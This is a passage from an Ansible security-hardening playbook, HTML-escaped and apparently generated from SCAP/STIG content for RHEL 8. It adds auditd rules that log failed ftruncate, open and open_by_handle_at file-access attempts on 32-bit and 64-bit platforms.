      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - ftruncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of ftruncate in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_ftruncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit open tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for open EACCES for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for open EACCES for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for open EPERM for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for open EPERM for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit open_by_handle_at tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_open_by_handle_at
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for open_by_handle_at EACCES for 32bit
      platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - open_by_handle_at
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of open_by_handle_at in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
